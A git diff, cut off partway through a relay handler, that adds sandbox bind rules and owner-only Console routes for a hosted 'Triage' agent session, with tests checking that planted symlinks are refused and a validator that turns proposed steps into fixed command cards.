diff --git a/packages/seat/src/sandbox.mjs b/packages/seat/src/sandbox.mjs index d463d8741..435f86960 100644 --- a/packages/seat/src/sandbox.mjs +++ b/packages/seat/src/sandbox.mjs @@ -193,6 +193,48 @@ export function sandboxArgv(list, runDir, command, { business, role, bwrap = BWR return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", ...identity, "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command]; } +// #1873 triage-host: the binds for a session the Console hosts in no organization (Triage). It +// gets the system part, the runner's files, the adapter and the harness module's mounts like any +// session, and from the data root exactly two directories: its own `runDir` read-write, and +// `healthDir` read-only over runDir/work/health, inside the workspace the read tools' gate allows. The run's bundle/, session.json and the relay socket the runner +// calls through stay read-only inside it, and its tmp/ is /tmp. There is no workspace, broker, +// launch or git socket, thread store or org root. Each source inside runDir must be what the host +// just made there, never a link the session left: bwrap resolves a bind's source on the host. +export function hostedBinds({ runDir, healthDir, adapter, harnessMounts = [], relaySocket, node = process.execPath, readOnly = [] }) { + if (relaySocket !== join(runDir, "relay.sock")) throw new Error("hosted binds: the relay socket must be the run directory's relay.sock"); + const healthDest = join(runDir, "work", "health"); + for (const p of [runDir, healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work"), healthDest]) { + let st; + try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is missing`); } + if (st.isSymbolicLink() || !st.isDirectory()) throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is not a directory`); + } + for (const [p, ok] of [[join(runDir, "session.json"), (st) => st.isFile()], [relaySocket, (st) => st.isSocket()]]) { + let st; + try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${relative(runDir, p)} is missing`); } + if (!ok(st)) throw new Error(`hosted binds: ${relative(runDir, p)} is not what the host made`); + } + const out = systemBinds(node); + for (const f of RUNNER_FILES) out.push({ kind: "ro", src: f, why: "a repository file the runner loads" }); + out.push({ kind: "ro", src: adapter, why: "the harness adapter the runner starts each turn" }); + for (const m of harnessMounts) out.push({ kind: "ro", src: m.src, ...(m.dest ? { dest: m.dest } : {}), why: m.why }); + for (const f of readOnly) out.push({ kind: "ro", src: f, why: "a test fixture" }); + out.push( + { kind: "rw", src: runDir, why: "the session's own state: turns/, session/, work/, tools.sock, turn.done, home/, tmp/" }, + { kind: "ro", src: healthDir, dest: healthDest, why: "the health snapshots the Console writes, read-only, inside the workspace the read tools reach" }, + { kind: "ro", src: join(runDir, "bundle"), why: "the run's bundle stays as the host wrote it" }, + { kind: "ro", src: join(runDir, "session.json"), why: "the session file stays as the host wrote it" }, + { kind: "ro", src: relaySocket, why: "the host's relay, the only broker the runner reaches" }, + { kind: "rw", src: join(runDir, "tmp"), dest: "/tmp", why: "a private /tmp, on disk in the run directory" }, + ); + return out; +} + +// The command line for a hosted session: as sandboxArgv, with no git identity, since a hosted +// session belongs to no organization and holds no git verb. +export function hostedArgv(list, runDir, command, { bwrap = BWRAP } = {}) { + return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command]; +} + // Whether bwrap runs here at all: the namespaces and the system binds, then // setpriv and `true`. Returns null, or why not. export function sandboxProblem({ bwrap = BWRAP } = {}) { diff --git a/packages/seat/tests/hosted-binds.test.mjs b/packages/seat/tests/hosted-binds.test.mjs new file mode 100644 index 000000000..bfd64db77 --- /dev/null +++ b/packages/seat/tests/hosted-binds.test.mjs @@ -0,0 +1,83 @@ +// #1873 triage-host: the binds of a session the Console hosts in no organization. From the data root +// it gets its own run directory and the health directory, read-only, and nothing else; every source +// inside the run directory must be what the host made, never a link. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { createServer } from "node:net"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { RUNNER_FILES, hostedArgv, hostedBinds } from "../src/sandbox.mjs"; + +function layout(t) { + const root = mkdtempSync(join(process.env.TMPDIR, "hb-")); + const dataRoot = join(root, "data"); + const runDir = join(dataRoot, "triage", "agent"); + const healthDir = join(dataRoot, "triage", "health"); + for (const d of [join(dataRoot, "orgs"), join(dataRoot, "triage", "host"), healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work", "health")]) mkdirSync(d, { recursive: true }); + writeFileSync(join(runDir, "session.json"), "{}"); + const adapter = join(root, "adapter.sh"); + writeFileSync(adapter, "exit 0\n"); + return new Promise((resolve) => { + const server = createServer().listen(join(runDir, "relay.sock"), () => { + t.after(() => server.close()); + resolve({ root, dataRoot, runDir, healthDir, adapter, relaySocket: join(runDir, "relay.sock") }); + }); + }); +} + +test("hosted binds hold the run directory and the health directory of the data root, and nothing else of it", async (t) => { + const p = await layout(t); + const list = hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }); + const fromData = list.filter((b) => typeof b.src === "string" && b.src.startsWith(p.dataRoot + "/")); + assert.deepEqual(fromData.map((b) => [b.kind, b.src, b.dest ?? null]), [ + ["rw", p.runDir, null], + ["ro", p.healthDir, join(p.runDir, "work", "health")], + ["ro", join(p.runDir, "bundle"), null], + ["ro", join(p.runDir, "session.json"), null], + ["ro", p.relaySocket, null], + ["rw", join(p.runDir, "tmp"), "/tmp"], + ]); + for (const f of RUNNER_FILES) assert.ok(list.some((b) => b.kind === "ro" && b.src === f), f); + assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter)); + assert.ok(!list.some((b) => b.src === p.root || b.src === p.dataRoot || (typeof b.src === "string" && b.src.startsWith(join(p.dataRoot, "orgs"))))); + assert.ok(!list.some((b) => b.src === process.env.HOME || b.dest === process.env.HOME)); + assert.ok(list.every((b) => typeof b.why === "string" && b.why.length > 0)); +}); + +test("hosted binds refuse a relay socket elsewhere, and any source in the run directory that the host did not make", async (t) => { + const p = await layout(t); + const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }; + assert.throws(() => hostedBinds({ ...base, relaySocket: join(p.root, "bus.sock") }), /relay socket must be the run directory's relay\.sock/); + // A link in place of each directory the binds read: bwrap would follow it on the host. + for (const d of ["bundle", "tmp", "work"]) { + rmSync(join(p.runDir, d), { recursive: true }); + symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, d)); + assert.throws(() => hostedBinds(base), /is not a directory/, d); + rmSync(join(p.runDir, d)); + mkdirSync(join(p.runDir, d === "work" ? join("work", "health") : d), { recursive: true }); + } + rmSync(join(p.runDir, "work", "health"), { recursive: true }); + symlinkSync(join(p.dataRoot, "triage", "host"), join(p.runDir, "work", "health")); + assert.throws(() => hostedBinds(base), /is not a directory/); + rmSync(join(p.runDir, "work", "health")); + mkdirSync(join(p.runDir, "work", "health")); + rmSync(join(p.runDir, "session.json")); + symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, "session.json")); + assert.throws(() => hostedBinds(base), /session\.json is not what the host made/); + rmSync(join(p.runDir, "session.json")); + writeFileSync(join(p.runDir, "session.json"), "{}"); + assert.throws(() => hostedBinds({ ...base, healthDir: join(p.root, "absent") }), /the health directory is missing/); + hostedBinds(base); +}); + +test("the hosted command line sets no git identity and runs the command under the namespaces", async (t) => { + const p = await layout(t); + const argv = hostedArgv(hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket }), p.runDir, ["node", "runner.mjs", p.runDir], { bwrap: "/b/bwrap" }); + assert.equal(argv[0], "/b/bwrap"); + assert.deepEqual(argv.slice(1, 5), ["--unshare-user", "--unshare-pid", "--unshare-ipc", "--as-pid-1"]); + assert.deepEqual(argv.slice(-3), ["node", "runner.mjs", p.runDir]); + assert.ok(!argv.some((a) => a.startsWith("GIT_"))); + const home = argv.indexOf("HOME"); + assert.equal(argv[home + 1], join(p.runDir, "home")); + assert.ok(argv.includes("--remount-ro")); +}); diff --git a/packages/webui/src/cli.mjs b/packages/webui/src/cli.mjs index 5a18b98e8..3986214b1 100644 --- a/packages/webui/src/cli.mjs +++ b/packages/webui/src/cli.mjs @@ -34,6 +34,8 @@ import { isAbsolute, join } from 'node:path'; import { actionTrail } from './action-trail.mjs'; import { reviveBuses } from './bus-revive.mjs'; import { createProxyAdmin, orgCatalogue } from './proxy-admin.mjs'; +import { createTriageHost } from './triage-host.mjs'; +import { composeSnapshot, readSystemConfig, readOrgConfig } from './triage-snapshot.mjs'; import { busesStopped } from '../../cli/src/proxy-admin-host.mjs'; import { agentLevelsWriteRoutes } from './agent-levels-write.mjs'; import { RESTART_EXIT } from '../../cli/src/org-console.mjs'; @@ -227,20 +229,40 @@ try { return out; }, }) : null; + // #1873 triage-host: the instance owner's Triage session, hosted by the Console in no organization. + // Nothing starts here; the owner's first message starts it. No model route store exists without a + // schema change, so none is wired: the read says no route is set and nothing launches. + const triage = system && (devOwner || ssoOn) ? createTriageHost({ + dataRoot: system.dataRoot, route: null, devOwner: Boolean(devOwner), log: line => console.log(line), + readSnapshot: () => composeSnapshot({ + orgs: () => listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance }), + busStatus: id => orgBusStatus({ configDir: configDir(), dataRoot: system.dataRoot, instance }, id), + processing: async id => { + const org = (await listOrgs({ configDir: configDir(), dataRoot: system.dataRoot, instance })).find(o => o.id === id); + if (!org) return null; + return busCaller({ dataRoot: org.root, socket: orgPaths(org.root).socket, business: id, timeoutMs: 5000 })('processing.status'); + }, + orgConfig: id => readOrgConfig(id), + proxy: () => proxyAdmin.status(), + systemConfig: () => readSystemConfig(), + }), + }) : null; let server, testerServer = null; // F3: the restart route closes every listener and connection, then exits RESTART_EXIT for the // supervisor to relaunch. Without --supervised the route answers not-supervised. const restart = supervised ? () => { sso?.close(); testerServer?.close(); + // The Triage session gets SIGTERM now and SIGKILL before the 2 s exit below. + const triageStopped = triage ? triage.stop({ graceMs: 1500 }) : Promise.resolve(); setTimeout(() => process.exit(RESTART_EXIT), 2000).unref(); - server.close(() => process.exit(RESTART_EXIT)); + server.close(() => triageStopped.finally(() => process.exit(RESTART_EXIT))); server.closeAllConnections(); } : null; const trail = system ? actionTrail(join(system.dataRoot, 'console')) : null; // #1873 A2: Settings > Agents writes for the root and project levels, beside the levels read. const agentLevelRoutes = organizations ? [agentLevelsWriteRoutes({ configDir: configDir(), rolesDir: rolesDir(), trail })] : []; try { - server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null }); + server = await startServer({ restart, trail, ...(lan ? { host: lan.bind, devAllowHosts: lan.allowHosts } : {}), board: options.board, port: options.port, bus, reads, preview: options.preview, sso, proof, send, settingsWrite, projectFiles, projectFile, libraryFile, libraryStatus, librarySync, libraryRevert, librarySave, projectSave, chat, nameWrite, assistantStop, instancesWrite, routesWrite, agentWrite, proxyCall, proxyAdmin, triage, processing, decisionWrite, requestRead, requestWrite, userOptions, federation: system?.federation ?? null, organizations, agentLevels, routes: agentLevelRoutes, preselect: options.business ?? null }); } catch (err) { sso?.close(); throw err; } if (testerSocket) { const call = busCaller({ dataRoot: system.dataRoot, socket: socketPath(system.dataRoot), business: options.business ?? null, cli: TESTER_CLI }); @@ -277,7 +299,7 @@ try { // D2 (P0-3): the dev Console reattaches to the buses that still run and brings back the ones its // unit stop killed. It runs after the Console answers, so a slow bus never delays the page. if (organizations && trail) reviveBuses({ ctx: { configDir: configDir(), dataRoot: system.dataRoot, instance }, listOrgs, busStatus: orgBusStatus, busRevive: orgBusRevive, trail, log: line => console.log(line) }).catch(() => console.log('bus revive: stopped on an unexpected error')); - for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); }); + for (const signal of ['SIGINT', 'SIGTERM']) process.once(signal, () => { sso?.close(); server.close(); testerServer?.close(); triage?.stop(); }); } catch (err) { console.error(`refused: ${err.message}`); process.exitCode = 2; diff --git a/packages/webui/src/serve.mjs b/packages/webui/src/serve.mjs index 993632a64..aadf23ba3 100644 --- a/packages/webui/src/serve.mjs +++ b/packages/webui/src/serve.mjs @@ -1,6 +1,7 @@ import { AUTONOMY_ROUTE, autonomyHTTP } from './autonomy-http.mjs'; import { proxyHTTP } from './proxy-http.mjs'; import { proxyAdminHTTP } from './proxy-admin.mjs'; +import { triageHTTP, TRIAGE_PATHS } from './triage-http.mjs'; import { createServer } from 'node:http'; import { bindTesterSocket, TESTER_ORIGIN } from './tester-socket.mjs'; import { readFileSync, openSync, fstatSync, closeSync, constants } from 'node:fs'; @@ -811,7 +812,7 @@ async function libraryStatusRead(res, read, search) { // `log` takes one line per send attempt that got past sign-in; never the body. `fieldsFile` is for // tests; the field table is otherwise the committed packages/tasks/fields.json. // `agentWrite` (row 194, D7) is `(verb, args) => Promise` for the Agents section's verbs and instance.request. -export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) { +export async function startServer({ host = '127.0.0.1', port = 7330, board = DEFAULT_BOARD, timeout = 20000, bus = null, reads = null, preview = null, sso = null, tester = false, testerSocket = null, testerAuthHeader = null, proof = null, testerProofHeader = null, send = null, settingsWrite = null, projectFiles = null, projectFile = null, projectSave = null, libraryStatus = null, libraryRevert = null, chat = null, nameWrite = null, assistantStop = null, instancesWrite = null, routesWrite = null, agentWrite = null, proxyCall = null, proxyAdmin = null, triage = null, processing = null, decisionWrite = null, requestRead = null, requestWrite = null, userOptions = null, federation = null, organizations = null, preselect = null, routes = [], orgAdmin = null, devAllowHosts = [], log = line => console.log(line), fieldsFile = undefined, restart = null, trail = null, boot = randomUUID(), workspaceTimeoutMs = undefined, agentLevels = null } = {}) { // org-lan-bind: the dev owner on the LAN is an explicit opt-in. `devAllowHosts` names the Host // names (without a port) a remote browser may use; only the dev owner takes them, and only with // them may it bind a non-loopback IPv4 address. SSO, preview and tester listeners stay loopback. @@ -935,7 +936,10 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF if (match) { orgId = match[1]; path = `/api/${match[2]}`; - } else if (!orgList && path !== '/api/config' && !hook) { + } else if (!orgList && path !== '/api/config' && !hook + // #1873 triage-host: the Triage routes pass only for the instance owner's own session on the + // public name; every other caller gets this Console's unknown /api/ answer. The gate below checks again. + && !(triage && TRIAGE_PATHS.includes(path) && !tester && named && sso !== null && sso.session(req)?.rootOwner === true)) { return json(res, 404, { error: 'org-unavailable' }); } } @@ -1048,6 +1052,11 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF if (path.startsWith('/api/proxy/')) return proxyHTTP(req, res, { path, call: proxyCall, named, tester, granted, send, origin: sso ? (localOrigin ?? sso.publicOrigin) : `https://${preview.host}`, user: signer?.user, log }); } + // #1873 triage-host: the Triage session's two routes answer only the instance owner's own session on + // the public name, with no organization selected. Anyone else falls through to the answer an + // unknown route gives them, so the routes are not visible to a caller who cannot use them. + if (TRIAGE_PATHS.includes(path) && triage && !tester && !granted && named && sso !== null && orgId === null && !hook && currentSession?.rootOwner === true) + return triageHTTP(req, res, { path, triage, send: owner.send !== null, origin: localOrigin ?? sso.publicOrigin, log }); // Row 252: Approve and Deny. The tester listener never offers them. Anywhere else without a signed-in // session on the public name under --sso and --send, they are read-only. @@ -1240,7 +1249,7 @@ export async function startServer({ host = '127.0.0.1', port = 7330, board = DEF // `send`: the page shows the composer only where a send can pass (the public name, --send on). // `edit`: the editor shows Save only where a save can pass, the same test as the route's. // `user` and `federation` (FED R6) only when there is one, so the owner's config is unchanged. - if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named }); + if (path === '/api/config') return json(res, 200, { board: upstream, viewer: viewerOf(currentSession), ...(organizations && preselect ? { preselect } : {}), ...(tester ? { tester: true } : {}), ...(sso ? { sso: true } : {}), ...(sso?.devOwner ? { devOwner: true } : {}), ...(granted ? { user: true, chatGrants } : {}), ...(!tester && !granted && named && sso !== null && requestRead ? { requests: true, requestWrites: Boolean(send && requestWrite), workspaceFiles: true, projectRemotes: true, projectRemoteWrites: Boolean(send && requestWrite) } : {}), ...(hub ? { federation: hub } : {}), ...(organizations ? { orgSetup: !tester && !granted && named && sso !== null && owner.send !== null } : {}), ...(proxyAdmin && !tester && !granted && named && sso !== null && currentSession?.rootOwner === true ? { proxyAdmin: true, proxyAdminSend: owner.send !== null } : {}), ...(triage && !tester && !granted && named && sso !== null && orgId === null && currentSession?.rootOwner === true ? { triage: true, triageSend: owner.send !== null } : {}), send: !organizations && !tester && Boolean(send) && named, ...(organizations && orgId ? { chatSend: !tester && Boolean(send) && named && orgBusHealthy, settingsSend: !tester && !granted && Boolean(send) && named && orgBusHealthy } : {}), boot, consoleRestart: !tester && named && currentSession?.instanceRole === 'operator' && owner.send !== null && restart !== null && trail !== null, decide: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(decisionWrite) && named && sso !== null, edit: !organizations && !tester && !granted && Boolean(send) && Boolean(projectSave) && named, northStarApprove: (!organizations || (orgId !== null && orgBusHealthy)) && !tester && !granted && Boolean(send) && Boolean(projectSave) && Boolean(projectFile) && named }); if (path === '/healthz') return json(res, 200, { ok: true, ...(sso ? { sso: sso.health() } : {}) }); if (path === '/favicon.ico') { res.writeHead(204); return res.end(); } const file = files.get(path); diff --git a/packages/webui/src/triage-cards.mjs b/packages/webui/src/triage-cards.mjs new file mode 100644 index 000000000..76406ed53 --- /dev/null +++ b/packages/webui/src/triage-cards.mjs @@ -0,0 +1,60 @@ +// #1873 triage-host: the command cards a Triage reply may carry (design section 4). The agent +// proposes a card as `{ step, org }` in a fenced ```cards block of its reply. The server keeps a card +// only when its keys are exactly step and org, its step is one of CARD_STEPS and its org is in the +// registry, and it renders the command text itself from the fixed map below. Anything else is +// dropped and counted. The rest of the reply is plain text: control characters are removed and it +// is clipped. A card has no Run action; the owner copies the command into a terminal. + +import { ID_PATTERN } from "../../organization/src/vocabulary.mjs"; + +export const CARD_STEPS = Object.freeze({ + // On a --dev-local-owner Console the bus starts in that mode, as the Organization page's own step says. + "bus-start": (org, { devOwner = false } = {}) => `mosaic bus start ${org}${devOwner === true ? " --dev-local-owner" : ""} --detach`, + "bus-restart": (org) => `mosaic bus restart ${org}`, + "bus-recover": (org) => `mosaic bus recover ${org}`, + "bus-stop": (org) => `mosaic bus stop ${org}`, + "org-config-validate": (org) => `mosaic org config validate ${org}`, +}); +export const MAX_CARDS = 5; +export const MAX_TEXT = 8000; +const FENCE = /```cards[ \t]*\r?\n([\s\S]*?)\r?\n?```/g; + +// Plain text: no control characters other than newline and tab, and no more than MAX_TEXT. +export function plainText(value, max = MAX_TEXT) { + if (typeof value !== "string") return ""; + // eslint-disable-next-line no-control-regex + return value.replace(/\r\n?/g, "\n").replace(/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff​-‏‪-‮⁦-⁩]/g, "").slice(0, max); +} + +// One card, or null. orgIds is the set of registry ids the snapshot read. +export function validateCard(card, orgIds, opts = {}) { + if (!card || typeof card !== "object" || Array.isArray(card) || Object.getPrototypeOf(card) !== Object.prototype) return null; + const keys = Object.keys(card); + if (keys.length !== 2 || !keys.includes("step") || !keys.includes("org")) return null; + const { step, org } = card; + if (typeof step !== "string" || !Object.hasOwn(CARD_STEPS, step)) return null; + if (typeof org !== "string" || !ID_PATTERN.test(org) || !orgIds?.has?.(org)) return null; + return { step, org, command: CARD_STEPS[step](org, opts) }; +} + +// The reply split into its plain text and the cards the server keeps. +export function extractCards(reply, orgIds, opts = {}) { + const source = typeof reply === "string" ? reply : ""; + const cards = []; + let dropped = 0; + const seen = new Set(); + const text = source.replace(FENCE, (_, body) => { + let parsed; + try { parsed = JSON.parse(body); } catch { dropped += 1; return ""; } + const list = Array.isArray(parsed) ? parsed : [parsed]; + for (const item of list) { + const card = validateCard(item, orgIds, opts); + const key = card && `${card.step} ${card.org}`; + if (!card || seen.has(key) || cards.length >= MAX_CARDS) { dropped += 1; continue; } + seen.add(key); + cards.push(card); + } + return ""; + }); + return { text: plainText(text.trim()), cards, dropped }; +} diff --git a/packages/webui/src/triage-host.mjs b/packages/webui/src/triage-host.mjs new file mode 100644 index 000000000..9927ca053 --- /dev/null +++ b/packages/webui/src/triage-host.mjs @@ -0,0 +1,431 @@ +// #1873 triage-host: the Triage session's host, held by the Console (design sections 1 and 4). +// +// Directories, under /triage/ (0700, real directories owned by this user): +// health/ the snapshot the Console writes (triage-snapshot.mjs); mounted read-only +// agent/ the session's own run directory; mounted read-write, with bundle/, session.json and +// relay.sock read-only inside it +// host/ the transcript (transcript.jsonl, 0600) and the runner's log; never mounted +// Nothing else of the data root, no org root, bus socket, config directory or secrets directory is +// in the sandbox (packages/seat/src/sandbox.mjs, hostedBinds). +// +// The session starts on the owner's first message, never when the Console starts. Its spawn +// environment is SPAWN_ENV_ALLOW and the route's ROUTE_ENV_ALLOW names; bwrap adds HOME and TMPDIR. +// No MOSAIC_CONFIG, no MOSAIC_BUS_* and no Console variable reaches it. +// +// The relay is the only broker the runner reaches. It answers the runner's own lifecycle verbs with +// fixed answers that change nothing, hands over the owner's queued messages, and keeps a +// message.send only when it is addressed to "human": that text goes into the transcript and its +// cards are checked (triage-cards.mjs). Every other verb, decision.raise and event.emit included, +// a send to anyone else and a call with the wrong capability are refused with RELAY_REFUSED. +// +// A model route comes from an injected `route` ({ admit() }). Without one nothing launches and the +// state says so. The route's answer names the harness: adapter, its mounts, harnessEnv, turnEnd, +// model and provider, and the proxy variables for the spawn. Over the cap the route refuses until +// the next day, and the message is refused with its code. + +import { spawn } from "node:child_process"; +import { randomBytes, timingSafeEqual } from "node:crypto"; +import { appendFileSync, closeSync, lstatSync, mkdirSync, openSync, readFileSync, rmSync, chmodSync, writeFileSync } from "node:fs"; +import { createServer } from "node:net"; +import { dirname, join } from "node:path"; +import { BWRAP, REPO, RUNNER_FILES, hostedArgv, hostedBinds } from "../../seat/src/sandbox.mjs"; +import { typedTools } from "../../harness/src/tools.mjs"; +import { builtinTools } from "../../harness/src/bundle.mjs"; +import { FOUNDER_ENV } from "../../harness/src/runner.mjs"; +import { extractCards, plainText } from "./triage-cards.mjs"; +import { SNAPSHOT_FILE, writeSnapshot } from "./triage-snapshot.mjs"; + +export const RUNNER = RUNNER_FILES[0]; +export const RELAY_REFUSED = "triage-refused"; +export const MESSAGE_MAX = 4000; +export const TRANSCRIPT_KEEP = 200; +export const QUEUE_MAX = 20; +export const UNANSWERED = "Triage stopped before it answered this message. Send it again."; +export const NOT_STARTED = "Triage did not start, so this message was not delivered."; +export const NOT_TAKEN = "Triage stopped before it read this message. Send it again."; +// An over-cap answer is held for at most this long; a later time is not taken. +export const CAP_HOLD_MAX_MS = 48 * 3600 * 1000; +const ISO_TIME = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(\.\d{1,3})?Z$/; +const LINE_MAX = 64 * 1024; +// The id the host gives each owner message. A reply may name only such an id. +const OWNER_ID = /^owner-[0-9a-f]{12}$/; +const CAP = /^[0-9a-f]{64}$/; + +// The spawn's environment: these names from the Console's own environment, PATH fixed, and the +// route's proxy variables. bwrap sets HOME and TMPDIR inside. +export const SPAWN_ENV_ALLOW = Object.freeze(["PATH", "LANG", "LC_ALL", "TZ", "TERM"]); +export const ROUTE_ENV_ALLOW = Object.freeze(["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]); +const ENV_NAME = /^[A-Z][A-Z0-9_]{0,63}$/; +const deniedHarnessName = (k) => !ENV_NAME.test(k) || k === "MOSAIC_CONFIG" || k.startsWith("MOSAIC_BUS_") || FOUNDER_ENV.includes(k) || k === "SSH_AUTH_SOCK"; + +export function triageEnv(source, routeEnv = {}, { node = process.execPath } = {}) { + const env = { PATH: `${dirname(node)}:/usr/bin:/bin` }; + for (const k of SPAWN_ENV_ALLOW) if (k !== "PATH" && typeof source?.[k] === "string" && source[k].length <= 256) env[k] = source[k]; + for (const k of ROUTE_ENV_ALLOW) if (typeof routeEnv?.[k] === "string" && routeEnv[k].length <= 4096) env[k] = routeEnv[k]; + return env; +} + +// The relay's fixed answers. None of them reaches a bus or changes anything. +const LIFECYCLE = Object.freeze({ + "role.claim": () => ({ library: false }), + state: () => ({ launch: { state: "on", at: null, event: null }, tasks: { open: [], total: 0, cap: 0 } }), + "processing.status": () => ({ halted: false, invalid: false }), + "usage.begin": () => ({}), + "usage.end": () => ({}), + "role.release": () => ({}), +}); + +export class TriageError extends Error { + constructor(code, message) { + super(message); + this.code = code; + } +} + +function realDir(path, { create = true } = {}) { + let st; + try { + st = lstatSync(path); + } catch (e) { + if (e.code !== "ENOENT" || !create) throw new TriageError("triage-dir-unsafe", "a Triage directory is missing"); + mkdirSync(path, { mode: 0o700 }); + st = lstatSync(path); + } + if (st.isSymbolicLink() || !st.isDirectory()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not a real directory"); + if (typeof process.getuid === "function" && st.uid !== process.getuid()) throw new TriageError("triage-dir-unsafe", "a Triage directory is not owned by the Console's user"); + chmodSync(path, 0o700); +} + +// A directory inside agent/, which the session can write: removed whole (rm never follows a link) +// and made again, so a link the session left there can't steer a bind or a host write. +function freshDir(path) { + rmSync(path, { recursive: true, force: true }); + mkdirSync(path, { mode: 0o700 }); +} + +export function triagePaths(dataRoot) { + const root = join(dataRoot, "triage"); + return { root, health: join(root, "health"), agent: join(root, "agent"), host: join(root, "host"), transcript: join(root, "host", "transcript.jsonl"), log: join(root, "host", "runner.log") }; +} + +// The prompt is the role's contract and the host's own lines: where the snapshot is and how a +// card is written. It names the snapshot inside the session, never a host path of the data root. +export function hostPrompt(contract, { snapshotPath, steps }) { + return [ + contract.trimEnd(), + "", + "## This host", + "", + `- The health snapshot is the JSON file ${snapshotPath}. Read it at the start of each turn; it is the only health you can see. A field that says "not read" was not read; say so, never guess it.`, + "- Each message arrives as one turn and your final answer goes back to the person. send_message reaches only \"human\"; this host refuses every other call.", + "- Propose each fix as a card in one fenced block marked cards, holding a JSON array of objects with exactly two keys, step and org, for example:", + "```cards", + '[{"step": "bus-start", "org": "alpha"}]', + "```", + `- step is one of: ${steps.join(", ")}. org is an organization id from the snapshot. The Console writes the command for each card; never write a command yourself. A card with anything else is dropped.`, + "", + ].join("\n"); +} + +function sameCap(a, b) { + if (typeof a !== "string" || !CAP.test(a)) return false; + return timingSafeEqual(Buffer.from(a), Buffer.from(b)); +} + +// The relay server. `onSend(body)` keeps a human-bound send; `take()` returns the queued owner +// messages; `read(id)` drops one that was answered. +export function createRelay({ socket, cap, take, read, onSend, log = () => {} }) { + const answer = (conn, value) => { try { conn.end(JSON.stringify(value) + "\n"); } catch {} }; + const refuse = (conn) => answer(conn, { ok: false, error: RELAY_REFUSED, reason: "the Triage host answers only a message to the person" }); + const server = createServer((conn) => { + let buf = ""; + let done = false; + conn.setTimeout(30_000, () => conn.destroy()); + conn.on("error", () => {}); + conn.on("data", (chunk) => { + if (done) return; + buf += chunk.toString("utf8"); + if (buf.length > LINE_MAX) { done = true; return refuse(conn); } + const nl = buf.indexOf("\n"); + if (nl < 0) return; + done = true; + let req; + try { req = 